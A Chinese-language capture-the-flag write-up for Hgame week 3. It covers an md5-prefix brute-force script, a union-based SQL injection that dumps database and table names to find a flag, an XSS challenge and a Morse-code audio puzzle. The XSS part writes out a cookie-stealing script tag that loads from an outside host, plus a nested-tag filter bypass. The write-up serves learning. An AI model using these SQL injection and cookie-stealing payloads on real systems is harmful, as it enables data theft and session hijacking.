Hgame - week3

【Hgame - week3】Write up - Moesang

Web

需要用到的`code`生成

```
<?php
    $b = $_GET['a'];
        $a = 'a';
        while (true) {
            if (substr(md5($a), 0, 4) === $b) {
                echo $a;
                break;
            }
            $a++;
        }
?>
```

- 传入一个`参数a`就能拿到对应的`code`了
- `参数a`是对应等号右边的那个字符串

sqli-1

[题目地址]

- 算出对应`code`，传入`id=1`
- 发现返回是`var_dump`的结果，是一个数组

```
array(1) { ["word"]=> string(7) "welcome" }
```

- 传入`id=1 or 1=1`，得到

```
array(1) { ["word"]=> string(7) "welcome" } array(1) { ["word"]=> string(2) "to" } array(1)
{ ["word"]=> string(5) "hgame" }
```

- 看起来`flag`不在这张表里
- 查 资料 得知查询表名得知道数据库名
- 传入

```
id=1 UNION SELECT SCHEMA_NAME FROM information_schema.`SCHEMATA`
```

- 得知库名是`hgame`
- 接着传入

```
id=1 union select table_name from information_schema.tables where table_schema='hgame' and
table_type='base table'
```

- 得知有一个数据表是`f1l1l1l1g`
- 看起来就是`flag`的数据表了
- 再传入

```
id=1 union select * from f1l1l1l1g
```

- 得到`flag`

BabyXss

[题目地址]

- 根据提交后会提示`内容已被查看`
- 猜测是要拿到管理员的`cookie`
- 那就需要一个接收`cookie`的服务
- 发现 [xss平台] 能~~免费~~用
- 创建一个`获取cookie`的项目
- 尝试着直接插入

```
<script src=https://xsspt.com/Hr51Qd></script>
```

- 很遗憾并没有什么用（，save后什么也没有发生，反而`</script>`被过滤了...
- 尝试后发现过滤了`<script>` `</script>` `img` 等关键字
- 最后以如下

```
<scr<script>ipt src='https://xsspt.com/Hr51Qd'></sc</script>ript>
```

- 成功反弹得到管理员`cookie`，而`flag`也正好在里面）

MISC

听听音乐?

~~这是一道签到题...~~
[mp3下载]

- 听来听去发现有奇怪的声音
- 用`AU`打开看到了似乎是摩斯电码
- 抄下波形得到

```
..-./.-../.-/--./---.../.----/-/..--.-/.---/..-/...../-/.----./.----/.----././.-/.../-.-
-/..---./.--/.-/...-
```

- 翻译一下

```
FLAG:1T_JU5T_4_EASY_WAV
```

- `Flag`到手

啊我好菜啊（…弱弱的问一下…我这么菜还能进协会么…以及…下周清人吗…